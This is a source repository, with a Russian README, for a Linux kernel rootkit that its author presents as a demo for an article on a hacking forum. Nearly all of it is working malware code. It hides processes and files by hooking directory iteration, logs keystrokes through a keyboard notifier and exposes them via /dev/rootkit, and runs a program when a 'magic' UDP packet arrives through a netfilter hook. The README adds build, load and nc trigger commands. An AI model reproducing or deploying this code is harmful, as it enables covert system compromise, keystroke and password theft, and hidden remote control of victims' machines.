├── .gitattributes ├── Makefile ├── README.md ├── example_config.h ├── file_hide.c ├── file_operation.c ├── headers.h ├── keylogger.c ├── main.c ├── proc_hide.c └── reverse_shell.c /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | obj-m := rootkit.o 2 | rootkit-objs := proc_hide.o file_hide.o reverse_shell.o file_operation.o keylogger.o main.o 3 | 4 | all: 5 | make -C /lib/modules/$(shell uname -r)/build/ \ 6 | M=$(PWD) modules 7 | clean: 8 | make -C /lib/modules/$(shell uname -r)/build/ \ 9 | M=$(PWD) clean 10 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # rootkit_for_linux_kernel_5 2 | Пример руткита для ядра линукс 5 3 | 4 | Проект для конкурсной статьи: https://xss.is/threads/43479/ 5 | 6 | Прочитать статью можно также на мём форуме:https://ru-sfera.org/threads/izuchaem-rutkity-na-primere-rutkita-dlja-linux-kernel-5.4144/ 7 | 8 | Описание проекта руткита и запуск/тестирование: 9 | 10 | Проект состоит из следующих модулей: 11 | 12 | 1) main.c – Основной модуль, где основные функции инициализации и выгрузки драйвера. 13 | 2) proc_hide.c – Модуль скрытия процесса по имени. 14 | 3) file_hide.c – Модуль скрытия файлов. 15 | 4) reverse_shell.c – Модуль управлением руткитом по сети. 16 | 5) keylogger.c – Модуль кейлоггера. 17 | 6) file_operation.c – Модуль создания и регистрации устройства в /dev и возможности взаимодействия с руткитом, как с файлом. 18 | 7) example_config.h – Настройки руткита. 19 | 20 | Сборка модуля: 21 | 22 | make clean 23 | 24 | make 25 | 26 | ВАЖНО: Делал драйвер именно под версию ядра 5 и выше, не учитывал особенности в ста-рых версиях ядра, оно будет работать, но т.к. в ядре постоянно меняют структуры, может не собраться, нужно просто посмотреть в исходниках ядра какие структуры поменялись. 27 | 28 | Запуск модуля: 29 | 30 | sudo insmod rookit.ko 31 | 32 | Остановка модуля: 33 | 34 | sudo rmmod rookit.ko 35 | 36 | Вывод логов кейлоггера: 37 | 38 | cat /dev/rootkit 39 | 40 | Вывод отладочной информации драйвера: 41 | 42 | dmesg -c | tail -n60 | grep + 43 | 44 | Управление руткитом по сети (Пример): 45 | 46 | echo "Command" | nc -u 127.0.0.1 1328 47 | 48 | -------------------------------------------------------------------------------- /example_config.h: -------------------------------------------------------------------------------- 1 | /* 2 | * example_config.h 3 | * В данном файле настройки руткита, данные настройки потом можно получать из юзермода, 4 | * или как угодно. 5 | */ 6 | 7 | #ifndef EXAMPLE_CONFIG_H_ 8 | #define EXAMPLE_CONFIG_H_ 9 | 10 | #define HIDE_PROC "gedit" 11 | #define HIDE_FILE_TO_PREFIX "hide_" 12 | #define REVERSE_SHELL_PATH "/usr/bin/logger" 13 | #define REVERSE_SHELL_PORT 1328 14 | 15 | #endif /* EXAMPLE_CONFIG_H_ */ 16 | -------------------------------------------------------------------------------- /file_hide.c: -------------------------------------------------------------------------------- 1 | /* 2 | * file_hide.c 3 | * 4 | * Модуль руткита, который скрывает файл, по его префиксу. 5 | * 6 | * По умолчанию префикс файла, которого нужно скрыть расположена в константе HIDE_FILE_TO_PREFIX 7 | * в заголовочном файле example_config.h 8 | * 9 | */ 10 | 11 | #include "headers.h" 12 | 13 | struct file_operations proc_fops; 14 | static const struct file_operations *backup_proc_fops; 15 | struct inode *proc_inode; 16 | 17 | static struct dir_context *backup_ctx; 18 | 19 | static int rootkit_filldir (struct dir_context *ctx, const char *file_name, int len, 20 | loff_t off, u64 ino, unsigned int d_type) 21 | { 22 | if (strstr(file_name, HIDE_FILE_TO_PREFIX) != NULL) 23 | { 24 | printk(KERN_INFO "+++ Hide file :%s is OK !\n",file_name); 25 | return 0; 26 | } 27 | 28 | return backup_ctx->actor(backup_ctx, file_name, len, off, ino, d_type); 29 | } 30 | 31 | static struct dir_context rootkit_ctx = { 32 | .actor = rootkit_filldir, 33 | }; 34 | 35 | static int rootkit_hook_iterate_shared(struct file *file, struct dir_context *ctx) 36 | { 37 | int result = 0; 38 | rootkit_ctx.pos = ctx->pos; 39 | backup_ctx = ctx; 40 | result = backup_proc_fops->iterate_shared(file, &rootkit_ctx); 41 | ctx->pos = rootkit_ctx.pos; 42 | 43 | return result; 44 | } 45 | 46 | //Интерфейсная функция инициализации модуля скрытия файлов по префиксу 47 | 48 | int start_rootkit_file_hide (void) 49 | { 50 | struct path p; 51 | 52 | /* Получить структуру файловых операций fs*/ 53 | /* 54 | * FIXME ВАЖНО, ФАЙЛЫ БУДУТ СКРЫТЫ ТОЛЬКО В "/" 55 | */ 56 | if(kern_path("/", 0, &p)) { 57 | printk(KERN_INFO "+++ Dont get fs\n"); 58 | return (-1); 59 | } 60 | 61 | /* Получить указатель на inode*/ 62 | proc_inode = p.dentry->d_inode; 63 | 64 | /* Получить указатель на file_operations из inode */ 65 | proc_fops = *proc_inode->i_fop; 66 | 67 | /* Беккапим структуру */ 68 | backup_proc_fops = proc_inode->i_fop; 69 | 70 | /* Модифицируем структуру, что-бы вызывалась наша функция */ 71 | proc_fops.iterate_shared = rootkit_hook_iterate_shared; 72 | 73 | /* Перезаписываем активные файловые операции */ 74 | proc_inode->i_fop = &proc_fops; 75 | 76 | return 0; 77 | } 78 | 79 | int stop_rootkit_file_hide (void) 80 | { 81 | struct path p; 82 | struct inode *proc_inode; 83 | 84 | if(kern_path("/", 0, &p)) 85 | { 86 | printk(KERN_INFO "+++ Dont get procfs\n"); 87 | return (-1); 88 | } 89 | 90 | proc_inode = p.dentry->d_inode; 91 | proc_inode->i_fop = backup_proc_fops; 92 | 93 | return 0; 94 | } 95 | 96 | -------------------------------------------------------------------------------- /file_operation.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Для взаимодействия с руткитом был создан модуль, который создаёт устройство /dev/rootkit 3 | * 4 | * Далее взаимодествовать с руткитом можно как с файлом. 5 | * 6 | * Например, что-бы прочитать логи кейлоггера можно сделать так: 7 | * 8 | * cat /dev/rootkit 9 | * 10 | * Также доступны все операции с файлами через юзермодное приложение... 11 | */ 12 | 13 | #include 14 | #include 15 | #include 16 | #include 17 | 18 | #define DEVICE_NAME "rootkit" 19 | 20 | static int major; 21 | static struct cdev cdev; 22 | static struct class *class = NULL; 23 | 24 | //Логи из модуля keylogger.c 25 | extern char key_str[]; 26 | 27 | // Функция выдачи результатов кейлогера, при чтении 28 | static ssize_t device_read(struct file *filp, char *buffer, size_t length, loff_t *offset) 29 | { 30 | size_t count = 0; 31 | char *msg = key_str; 32 | if(*offset == 0) 33 | { 34 | while (msg[count] != 0) 35 | { 36 | put_user(msg[count], buffer++); 37 | count++; 38 | (*offset)++; 39 | } 40 | return count; 41 | } else 42 | { 43 | return 0; 44 | } 45 | } 46 | 47 | //TODO Реализовать функцию записи 48 | static ssize_t device_write(struct file *filp, const char *buffer, size_t length, loff_t *offset) { 49 | return 0; 50 | } 51 | 52 | static void cleanup(int device_created) 53 | { 54 | if (device_created) 55 | { 56 | device_destroy(class, major); 57 | cdev_del(&cdev); 58 | } 59 | if (class) 60 | class_destroy(class); 61 | if (major != -1) 62 | unregister_chrdev_region(major, 1); 63 | } 64 | 65 | static char *dev_devnode(struct device *dev, umode_t *mode) 66 | { 67 | if (mode != NULL) 68 | *mode = 0666; 69 | return kasprintf(GFP_KERNEL, "%s", dev_name(dev));; 70 | } 71 | 72 | static struct file_operations fops = 73 | { 74 | .read = device_read, 75 | .write = device_write 76 | }; 77 | 78 | // Интерфейсные функции работы с фаловыми операциями руткита 79 | int init_fops(void) 80 | { 81 | int device_created = 0; 82 | 83 | if (alloc_chrdev_region(&major, 0, 1, DEVICE_NAME) < 0) 84 | goto error; 85 | 86 | if ((class = class_create(THIS_MODULE, DEVICE_NAME)) == NULL) 87 | goto error; 88 | 89 | class->devnode = dev_devnode; 90 | if (!device_create(class, NULL, major, NULL, DEVICE_NAME)) 91 | goto error; 92 | 93 | device_created = 1; 94 | 95 | cdev_init(&cdev, &fops); 96 | if (cdev_add(&cdev, major, 1) == -1) 97 | goto error; 98 | 99 | return 0; 100 | 101 | error: 102 | printk(KERN_INFO "+++ File operation init error \n"); 103 | cleanup(device_created); 104 | return -1; 105 | } 106 | 107 | void exit_fops(void) 108 | { 109 | cleanup(1); 110 | } 111 | -------------------------------------------------------------------------------- /headers.h: -------------------------------------------------------------------------------- 1 | /* 2 | * headers.h 3 | * 4 | * Подключаемые заголовочные файлы 5 | * 6 | */ 7 | 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include "linux/ctype.h" 16 | #include "example_config.h" 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | 25 | //Интерфейсные функции модулей руткита 26 | 27 | int start_rootkit_proc_hide (void); 28 | int stop_rootkit_proc_hide (void); 29 | 30 | int start_rootkit_file_hide(void); 31 | int stop_rootkit_file_hide(void); 32 | 33 | int start_reverse_shell_rootkit(void); 34 | int stop_reverse_shell_rootkit(void); 35 | 36 | int init_fops(void); 37 | void exit_fops(void); 38 | 39 | int run_keylogger(void); 40 | void stop_keylogger(void); 41 | -------------------------------------------------------------------------------- /keylogger.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Модуль кейлоггера, который устанавливает обработчик уведомления от клавиатуры. 3 | * 4 | * Клавиши регистрирует в key_str[BUFFER_SIZE]. 5 | * 6 | * Потом можно получить эти данные через файловые операции. 7 | * 8 | * ВАЖНО после достижения лимита BUFFER_SIZE, логирование прикратится, т.к. нужно сбрасывать и очищать лог. 9 | */ 10 | 11 | #include 12 | #include 13 | #include 14 | 15 | #define BUFFER_SIZE 0x1000 16 | 17 | char key_str[BUFFER_SIZE]; 18 | static char *pkey_str; 19 | 20 | #define add_string_key_str(key) \ 21 | if(pkey_str + strlen(key) < key_str + sizeof(char)*BUFFER_SIZE){ \ 22 | strncpy(pkey_str,key,strlen(key)); \ 23 | pkey_str += strlen(key); \ 24 | } 25 | 26 | 27 | #define SPACE_KEY_CODE 0x39 28 | #define FIRST_KEY_CODE 0x2 29 | #define LAST_KEY_CODE 0x35 30 | 31 | // Таблица для конвертации кода в аски 32 | static const char character_table[] = { 33 | '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', '-', '=', '\0', '\0', 34 | 'q', 'w', 'e', 'r', 't', 'y', 'u', 'i', 'o', 'p', '[', ']', '\n', '\0', 35 | 'a', 's', 'd', 'f', 'g', 'h', 'j', 'k', 'l', ';', '\'', '\n', '\0', '\\', 36 | 'z', 'x', 'c', 'v', 'b', 'n', 'm', ',', '.', '/' 37 | }; 38 | 39 | 40 | // Обработка специальных кнопок 41 | static void add_special_keycode(int key_code){ 42 | switch(key_code){ 43 | case 0x0f: 44 | add_string_key_str("_TAB_") 45 | break; 46 | 47 | case 0x0e: 48 | add_string_key_str("_BACKSPACE_") 49 | break; 50 | 51 | case 0x1d: 52 | case 0xe0: 53 | add_string_key_str("_CTRL_") 54 | break; 55 | 56 | case 0x2a: 57 | case 0x36: 58 | add_string_key_str("_SHIFT_") 59 | break; 60 | 61 | case 0x38: 62 | case 0x64: 63 | add_string_key_str("_ALT_") 64 | break; 65 | 66 | case 0x3a: 67 | add_string_key_str("_CAPSLOCK_") 68 | break; 69 | 70 | default: 71 | break; 72 | } 73 | } 74 | 75 | // Получение по коду клавиши её аски код 76 | static void add_keycode(int key_code) { 77 | char ascii = '\0'; 78 | 79 | if (key_code >= FIRST_KEY_CODE && key_code <= LAST_KEY_CODE) { // Если в таблице 80 | ascii = character_table[key_code - FIRST_KEY_CODE]; 81 | } else if (key_code == SPACE_KEY_CODE) { // Нажат пробел 82 | ascii = ' '; 83 | } 84 | 85 | // FIXME Добавление клавиши в лог. Ограничен размер, лучше сбрасывать буфер куда-то и очищать его при переполнении 86 | if (ascii && pkey_str < key_str + sizeof(char)*BUFFER_SIZE) { 87 | *(pkey_str++) = ascii; 88 | } 89 | 90 | // Обработка специальных клавиш 91 | add_special_keycode(key_code); 92 | } 93 | 94 | // Эта функция будет вызвана, когда наступит уведомление от клавиатуры 95 | static int keylogger_notifier(struct notifier_block *nb, unsigned long action, void *data) 96 | { 97 | struct keyboard_notifier_param *param = (struct keyboard_notifier_param *) data; 98 | int key_code; 99 | 100 | // Проверка что кнопка нажата 101 | if (action == KBD_KEYCODE && param->down == 1) { 102 | // Получение кода кнопки 103 | key_code = param->value; 104 | add_keycode(key_code); 105 | } 106 | 107 | return NOTIFY_OK; 108 | } 109 | 110 | //Интерфейсные функции для работы с кейлоггером 111 | 112 | static struct notifier_block nb = { 113 | .notifier_call = keylogger_notifier 114 | }; 115 | 116 | int run_keylogger(void) 117 | { 118 | memset(key_str, 0, sizeof(key_str)); 119 | pkey_str = key_str; 120 | 121 | // Регистрация обработчика уведомления от клавиатуры 122 | if (register_keyboard_notifier(&nb)) 123 | { 124 | return -1; 125 | } 126 | 127 | return 0; 128 | } 129 | 130 | void stop_keylogger(void) 131 | { 132 | unregister_keyboard_notifier(&nb); 133 | } 134 | -------------------------------------------------------------------------------- /main.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Демонстрационный проект руткита для Линукс, практический материалл к конкурсной статьи. 3 | * В данном модули функции инициализации драйвера и запуск модулей руткита 4 | */ 5 | #include "headers.h" 6 | 7 | static int __init rootkit_init(void); 8 | static void __exit rootkit_exit(void); 9 | 10 | module_init(rootkit_init); 11 | module_exit(rootkit_exit); 12 | 13 | static int __init rootkit_init(void) 14 | { 15 | int error = 0; 16 | 17 | error = start_rootkit_proc_hide (); 18 | if (error == 0) 19 | { 20 | printk(KERN_INFO "+++ Rootkit module proc_hide succefully loaded !\n"); 21 | } 22 | 23 | error = start_rootkit_file_hide (); 24 | if (error == 0) 25 | { 26 | printk(KERN_INFO "+++ Rootkit module file_hide succefully loaded !\n"); 27 | } 28 | 29 | error = start_reverse_shell_rootkit (); 30 | if (error == 0) 31 | { 32 | printk(KERN_INFO "+++ Rootkit module reverse_shell_rootkit succefully loaded !\n"); 33 | } 34 | 35 | error = init_fops(); 36 | if (error == 0) 37 | { 38 | printk(KERN_INFO "+++ Rootkit module init_fops succefully loaded !\n"); 39 | } 40 | 41 | error = run_keylogger(); 42 | if (error == 0) 43 | { 44 | printk(KERN_INFO "+++ Rootkit module init_keylogger succefully loaded !\n"); 45 | } 46 | 47 | return 0; 48 | } 49 | 50 | static void __exit rootkit_exit(void) 51 | { 52 | int error = 0; 53 | 54 | error = stop_rootkit_proc_hide (); 55 | if (error == 0) 56 | { 57 | printk(KERN_INFO "+++ Rootkit module proc_hide succefully unloaded !\n"); 58 | } 59 | 60 | error = stop_rootkit_file_hide (); 61 | if (error == 0) 62 | { 63 | printk(KERN_INFO "+++ Rootkit module file_hide succefully unloaded !\n"); 64 | } 65 | 66 | error = stop_reverse_shell_rootkit (); 67 | if (error == 0) 68 | { 69 | printk(KERN_INFO "+++ Rootkit module reverse_shell_rootkit succefully unloaded !\n"); 70 | } 71 | 72 | stop_keylogger(); 73 | exit_fops(); 74 | } 75 | 76 | MODULE_LICENSE("GPL"); 77 | MODULE_AUTHOR("X-Shar"); 78 | MODULE_VERSION("demo"); 79 | 80 | -------------------------------------------------------------------------------- /proc_hide.c: -------------------------------------------------------------------------------- 1 | /* 2 | * proc_hide.c 3 | * 4 | * Модуль руткита, который скрывает процесс, по его имени. 5 | * 6 | * По умолчанию имя процесса, которого нужно скрыть расположена в константе HIDE_PROC 7 | * в заголовочном файле example_config.h 8 | * 9 | */ 10 | 11 | #include "headers.h" 12 | 13 | static struct file_operations proc_fops; 14 | static struct file_operations *backup_proc_fops; 15 | static struct inode *proc_inode; 16 | static struct path p; 17 | 18 | static struct dir_context *backup_ctx; 19 | 20 | //Макросы для работы с процессами 21 | 22 | extern struct task_struct init_task; 23 | #define next_task(p) list_entry((p)->tasks.next, struct task_struct, tasks) 24 | #define for_each_process(p) for (p = &init_task ; (p = next_task(p)) != &init_task ; ) 25 | 26 | 27 | //Функция перевода строки в число 28 | static int char_to_int(const char *s) 29 | { 30 | int n; 31 | unsigned char sign = 0; 32 | 33 | while (isspace(*s)) 34 | { 35 | s++; 36 | } 37 | 38 | if (*s == '-') 39 | { 40 | sign = 1; 41 | s++; 42 | } 43 | else if (*s == '+') 44 | { 45 | s++; 46 | } 47 | 48 | n=0; 49 | 50 | while (isdigit(*s)) 51 | { 52 | n = n * 10 + *s++ - '0'; 53 | } 54 | 55 | return sign ? -n : n; 56 | } 57 | 58 | //Функция ищет идентификатор процесса по его имени, если он есть 59 | static int get_my_pid(char *proc_name) 60 | { 61 | struct task_struct *task; 62 | 63 | for_each_process(task) 64 | { 65 | if((strcmp(task->comm, proc_name)==0)) 66 | { 67 | printk(KERN_INFO "+++ Found Pid: %d\n", task->pid); 68 | return task->pid; 69 | } 70 | } 71 | return (-1); 72 | } 73 | 74 | static int rootkit_filldir(struct dir_context *ctx, const char *proc_name, int len, 75 | loff_t off, u64 ino, unsigned int d_type) 76 | { 77 | 78 | int pid_to_cmp = char_to_int (proc_name); 79 | int get_pid = get_my_pid(HIDE_PROC); 80 | 81 | if (pid_to_cmp == get_pid) { 82 | printk(KERN_INFO "+++ Proc %s succsed hide !\n", HIDE_PROC); 83 | return 0; 84 | } 85 | 86 | return backup_ctx->actor(backup_ctx, proc_name, len, off, ino, d_type); 87 | } 88 | 89 | static struct dir_context rootkit_ctx = { 90 | .actor = rootkit_filldir, 91 | }; 92 | 93 | static int rootkit_hook_iterate_shared(struct file *file, struct dir_context *ctx) 94 | { 95 | int result = 0; 96 | rootkit_ctx.pos = ctx->pos; 97 | backup_ctx = ctx; 98 | result = backup_proc_fops->iterate_shared(file, &rootkit_ctx); 99 | ctx->pos = rootkit_ctx.pos; 100 | 101 | return result; 102 | } 103 | 104 | //Интерфейсная функция инициализации модуля скрытия процессов по имени 105 | 106 | int start_rootkit_proc_hide (void) 107 | { 108 | 109 | /* Получить структуру procfs */ 110 | if(kern_path("/proc", 0, &p)) 111 | { 112 | printk(KERN_INFO "+++ Dont get procfs !\n"); 113 | return (-1); 114 | } 115 | 116 | /* Получить указатель на inode*/ 117 | proc_inode = p.dentry->d_inode; 118 | 119 | /* Получить указатель на file_operations из inode */ 120 | proc_fops = *proc_inode->i_fop; 121 | /* Беккапим структуру */ 122 | backup_proc_fops = proc_inode->i_fop; 123 | /* Модифицируем структуру, что-бы вызывалась наша функция */ 124 | proc_fops.iterate_shared = rootkit_hook_iterate_shared; 125 | /* Перезаписываем активные файловые операции */ 126 | proc_inode->i_fop = &proc_fops; 127 | 128 | return 0; 129 | 130 | } 131 | 132 | int stop_rootkit_proc_hide (void) 133 | { 134 | /* Получить структуру procfs */ 135 | if(kern_path("/proc", 0, &p)) 136 | { 137 | printk(KERN_INFO "+++ Dont get procfs !\n"); 138 | return (-1); 139 | } 140 | 141 | proc_inode = p.dentry->d_inode; 142 | proc_inode->i_fop = backup_proc_fops; 143 | 144 | return 0; 145 | } 146 | 147 | MODULE_LICENSE("GPL"); 148 | MODULE_AUTHOR("X-Shar"); 149 | MODULE_VERSION("demo"); 150 | -------------------------------------------------------------------------------- /reverse_shell.c: -------------------------------------------------------------------------------- 1 | /* 2 | * reverse_shell.c 3 | * 4 | * Модуль руткита, который запускает юзермодное приложение. 5 | * 6 | * Данный модуль как пример управления руткитом по сети. 7 | * 8 | * По умолчанию путь до приложения, которого нужно запустить находится 9 | * в константе REVERSE_SHELL_PATH/REVERSE_SHELL_PORT в заголовочном файле example_config.h 10 | * 11 | */ 12 | 13 | #include "headers.h" 14 | 15 | static int run_reverse_shell(char *ip, char *port) 16 | { 17 | int ret; 18 | char *argv[] = { REVERSE_SHELL_PATH, "Params !", NULL }; 19 | static char *envp[] = { 20 | "HOME=/", 21 | "TERM=linux", 22 | "PATH=/sbin:/bin:/usr/sbin:/usr/bin", NULL }; 23 | 24 | ret = call_usermodehelper( argv[0], argv, envp, UMH_NO_WAIT ); 25 | 26 | return ret; 27 | } 28 | 29 | static unsigned int rootkit_hook(void *priv, struct sk_buff *skb, const struct nf_hook_state *state) 30 | { 31 | if(!skb) return NF_ACCEPT; 32 | 33 | struct iphdr *ip_header = ip_hdr(skb); 34 | 35 | if(!ip_header || !ip_header->protocol) return NF_ACCEPT; 36 | 37 | if(ip_header->protocol != 17) return NF_ACCEPT; 38 | 39 | struct udphdr *udp_header = udp_hdr(skb); 40 | unsigned int dst_prt = (unsigned int)ntohs(udp_header->dest); 41 | 42 | char ip[16]; 43 | char port[6]; 44 | 45 | if(dst_prt == REVERSE_SHELL_PORT) 46 | { 47 | printk(KERN_INFO "+++ Received magic packet:%d %d\n", udp_header->dest, dst_prt); 48 | 49 | //TODO Тут можно вызвать приложение, или распарсить пакет и выполнять какие-то действия 50 | 51 | if (run_reverse_shell(ip, port) < 0) 52 | { 53 | printk(KERN_INFO "+++ Failed to spawn reverse shell\n"); 54 | } 55 | 56 | 57 | return NF_DROP; 58 | } 59 | return NF_ACCEPT; 60 | } 61 | 62 | static struct nf_hook_ops nfho; 63 | 64 | //Интерфейсные функции модуля 65 | 66 | int start_reverse_shell_rootkit(void) 67 | { 68 | nfho.hook = rootkit_hook; 69 | nfho.hooknum = NF_INET_PRE_ROUTING; 70 | nfho.pf = PF_INET; 71 | nfho.priority = NF_IP_PRI_FIRST; 72 | int error = nf_register_net_hook(&init_net, &nfho); 73 | return error; 74 | } 75 | 76 | int stop_reverse_shell_rootkit(void) 77 | { 78 | int error = 0; 79 | nf_unregister_net_hook(&init_net, &nfho); 80 | return error; 81 | } 82 | --------------------------------------------------------------------------------